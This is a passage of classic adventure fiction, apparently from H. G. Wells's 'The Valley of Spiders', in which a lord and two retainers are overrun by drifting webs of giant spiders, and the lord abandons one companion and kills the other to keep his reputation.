They became aware of a squealing. Athwart the path a huge boar rushed,

turning his head but for one instant to glance at them, and then

hurling on down the valley again. And at that, all three stopped

and sat in their saddles, staring into the thickening haze that

was coming upon them.

"If it were not for this thistle-down--" began the leader.

But now a big globe came drifting past within a score of yards

of them. It was really not an even sphere at all, but a vast, soft,

ragged, filmy thing, a sheet gathered by the corners, an aerial

jelly-fish, as it were, but rolling over and over as it advanced,

and trailing long, cobwebby threads and streamers that floated

in its wake.

"It isn't thistle-down," said the little man.

"I don't like the stuff," said the gaunt man.

And they looked at one another.

"Curse it!" cried the leader. "The air's full of it up there.

If it keeps on at this pace long, it will stop us altogether."

An instinctive feeling, such as lines out a herd of deer at the

approach of some ambiguous thing, prompted them to turn their horses

to the wind, ride forward for a few paces, and stare at that advancing

multitude of floating masses. They came on before the wind with a sort

of smooth swiftness, rising and falling noiselessly, sinking to earth,

rebounding high, soaring--all with a perfect unanimity, with a still,

deliberate assurance.

Right and left of the horsemen the pioneers of this strange army

passed. At one that rolled along the ground, breaking shapelessly

and trailing out reluctantly into long grappling ribbons and bands,

all three horses began to shy and dance. The master was seized

with a sudden unreasonable impatience. He cursed the drifting globes

roundly. "Get on!" he cried; "get on! What do these things matter?

How CAN they matter? Back to the trail!" He fell swearing at his horse

and sawed the bit across its mouth.

He shouted aloud with rage. "I will follow that trail, I tell you!"

he cried. "Where is the trail?"

He gripped the bridle of his prancing horse and searched amidst

the grass. A long and clinging thread fell across his face, a grey

streamer dropped about his bridle-arm, some big, active thing

with many legs ran down the back of his head. He looked up to discover

one of those grey masses anchored as it were above him by these things

and flapping out ends as a sail flaps when a boat comes, about--

but noiselessly.

He had an impression of many eyes, of a dense crew of squat bodies,

of long, many-jointed limbs hauling at their mooring ropes to bring

the thing down upon him. For a space he stared up, reining in his

prancing horse with the instinct born of years of horsemanship.

Then the flat of a sword smote his back, and a blade flashed overhead

and cut the drifting balloon of spider-web free, and the whole mass

lifted softly and drove clear and away.

"Spiders!" cried the voice of the gaunt man. "The things are full

of big spiders! Look, my lord!"

The man with the silver bridle still followed the mass that drove away.

"Look, my lord!"

The master found himself staring down at a red, smashed thing

on the ground that, in spite of partial obliteration, could still

wriggle unavailing legs. Then when the gaunt man pointed to another

mass that bore down upon them, he drew his sword hastily. Up the

valley now it was like a fog bank torn to rags. He tried to grasp the

situation.

"Ride for it!" the little man was shouting. "Ride for it down the

valley."

What happened then was like the confusion of a battle. The man

with the silver bridle saw the little man go past him slashing

furiously at imaginary cobwebs, saw him cannon into the horse

of the gaunt man and hurl it and its rider to earth. His own horse

went a dozen paces before he could rein it in. Then he looked up

to avoid imaginary dangers, and then back again to see a horse

rolling on the ground, the gaunt man standing and slashing over it

at a rent and fluttering mass of grey that streamed and wrapped

about them both. And thick and fast as thistle-down on waste land

on a windy day in July, the cobweb masses were coming on.

The little man had dismounted, but he dared not release his horse.

He was endeavouring to lug the struggling brute back with the strength

of one arm, while with the other he slashed aimlessly, The tentacles

of a second grey mass had entangled themselves with the struggle,

and this second grey mass came to its moorings, and slowly sank.

The master set his teeth, gripped his bridle, lowered his head,

and spurred his horse forward. The horse on the ground rolled over,

there were blood and moving shapes upon the flanks, and the gaunt man,

suddenly leaving it, ran forward towards his master, perhaps ten paces.

His legs were swathed and encumbered with grey; he made ineffectual

movements with his sword. Grey streamers waved from him; there was

a thin veil of grey across his face. With his left hand he beat at

something on his body, and suddenly he stumbled and fell. He struggled

to rise, and fell again, and suddenly, horribly, began to howl,

"Oh--ohoo, ohooh!"

The master could see the great spiders upon him, and others upon

the ground.

As he strove to force his horse nearer to this gesticulating,

screaming grey object that struggled up and down, there came a

clatter of hoofs, and the little man, in act of mounting, swordless,

balanced on his belly athwart the white horse, and clutching its mane,

whirled past. And again a clinging thread of grey gossamer swept

across the master's face. All about him, and over him, it seemed

this drifting, noiseless cobweb circled and drew nearer him. . . .

To the day of his death he never knew just how the event of that moment

happened. Did he, indeed, turn his horse, or did it really of its

own accord stampede after its fellow? Suffice it that in another

second he was galloping full tilt down the valley with his sword

whirling furiously overhead. And all about him on the quickening

breeze, the spiders' airships, their air bundles and air sheets,

seemed to him to hurry in a conscious pursuit.

Clatter, clatter, thud, thud--the man with the silver bridle rode,

heedless of his direction, with his fearful face looking up now right,

now left, and his sword arm ready to slash. And a few hundred yards

ahead of him, with a tail of torn cobweb trailing behind him, rode

the little man on the white horse, still but imperfectly in the saddle.

The reeds bent before them, the wind blew fresh and strong, over his

shoulder the master could see the webs hurrying to overtake. . . .

He was so intent to escape the spiders' webs that only as his horse

gathered together for a leap did he realise the ravine ahead. And then

he reaIised it only to misunderstand and interfere. He was leaning

forward on his horse's neck and sat up and back all too late.

But if in his excitement he had failed to leap, at any rate he had

not forgotten how to fall. He was horseman again in mid-air.

He came off clear with a mere bruise upon his shoulder, and his horse

rolled, kicking spasmodic legs, and lay still. But the master's sword

drove its point into the hard soil, and snapped clean across, as

though Chance refused him any longer as her Knight, and the splintered

end missed his face by an inch or so.

He was on his feet in a moment, breathlessly scanning the onrushing

spider-webs. For a moment he was minded to run, and then thought

of the ravine, and turned back. He ran aside once to dodge one drifting

terror, and then he was swiftly clambering down the precipitous sides,

and out of the touch of the gale.

There under the lee of the dry torrent's steeper banks he might

crouch, and watch these strange, grey masses pass and pass in safety

till the wind fell, and it became possible to escape. And there

for a long time he crouched, watching the strange, grey, ragged

masses trail their streamers across his narrowed sky.

Once a stray spider fell into the ravine close beside him--a full

foot it measured from leg to leg, and its body was half a man's hand--

and after he had watched its monstrous alacrity of search and escape

for a little while, and tempted it to bite his broken sword, he lifted

up his iron-heeled boot and smashed it into a pulp. He swore as he did

so, and for a time sought up and down for another.

Then presently, when he was surer these spider swarms could not

drop into the ravine, he found a place where he could sit down,

and sat and fell into deep thought and began after his manner

to gnaw his knuckles and bite his nails. And from this he was moved

by the coming of the man with the white horse.

He heard him long before he saw him, as a clattering of hoofs,

stumbling footsteps, and a reassuring voice. Then the little man

appeared, a rueful figure, still with a tail of white cobweb trailing

behind him. They approached each other without speaking, without

a salutation. The little man was fatigued and shamed to the pitch

of hopeless bitterness, and came to a stop at last, face to face with

his seated master. The latter winced a little under his dependant's

eye. "Well?" he said at last, with no pretence of authority.

"You left him?"

"My horse bolted."

"I know. So did mine."

He laughed at his master mirthlessly.

"I say my horse bolted," said the man who once had a silver-studded

bridle.

"Cowards both," said the little man.

The other gnawed his knuckle through some meditative moments,

with his eye on his inferior.

"Don't call me a coward," he said at length.

"You are a coward like myself."

"A coward possibly. There is a limit beyond which every man must fear.

That I have learnt at last. But not like yourself. That is where

the difference comes in."

"I never could have dreamt you would have left him. He saved

your life two minutes before. . . . Why are you our lord?"

The master gnawed his knuckles again, and his countenance was dark.

"No man calls me a coward," he said. "No. A broken sword is better

than none. . . . One spavined white horse cannot be expected to carry

two men a four days' journey. I hate white horses, but this time

it cannot be helped. You begin to understand me? . . . I perceive

that you are minded, on the strength of what you have seen and fancy,

to taint my reputation. It is men of your sort who unmake kings.

Besides which--I never liked you."

"My lord!" said the little man.

"No," said the master. "NO!"

He stood up sharply as the little man moved. For a minute perhaps

they faced one another. Overhead the spiders' balls went driving.

There was a quick movement among the pebbles; a running of feet,

a cry of despair, a gasp and a blow. . . .

Towards nightfall the wind fell. The sun set in a calm serenity,

and the man who had once possessed the silver bridle came at last

very cautiously and by an easy slope out of the ravine again; but now

he led the white horse that once belonged to the little man.

He would have gone back to his horse to get his silver-mounted

bridle again, but he feared night and a quickening breeze might

still find him in the valley, and besides he disliked greatly

to think he might discover his horse all swathed in cobwebs

and perhaps unpleasantly eaten.

And as he thought of those cobwebs and of all the dangers he

had been through, and the manner in which he had been preserved

that day, his hand sought a little reliquary that hung about his neck,

and he clasped it for a moment with heartfelt gratitude. As he did so

his eyes went across the valley.

"I was hot with passion," he said, "and now she has met her reward.

They also, no doubt--"

And behold! Far away out of the wooded slopes across the valley,

but in the clearness of the sunset distinct and unmistakable,

he saw a little spire of smoke.

At that his expression of serene resignation changed to an amazed

anger. Smoke? He turned the head of the white horse about, and

hesitated. And as he did so a little rustle of air went through the

grass about him. Far away upon some reeds swayed a tattered sheet of

grey. He looked at the cobwebs; he looked at the smoke.

"Perhaps, after all, it is not them," he said at last.

But he knew better.

After he had stared at the smoke for some time, he mounted the white

horse.

As he rode, he picked his way amidst stranded masses of web. For some

reason there were many dead spiders on the ground, and those that

lived feasted guiltily on their fellows. At the sound of his horse's

hoofs they fled.

Their time had passed. From the ground without either a wind to carry

them or a winding sheet ready, these things, for all their poison,

could do him little evil. He flicked with his belt at those

he fancied came too near. Once, where a number ran together over

a bare place, he was minded to dismount and trample them with his boots,

but this impulse he overcame. Ever and again he turned in his saddle,

and looked back at the smoke.

"Spiders," he muttered over and over again. "Spiders! Well, well. . . .

The next time I must spin a web."







With Regards;
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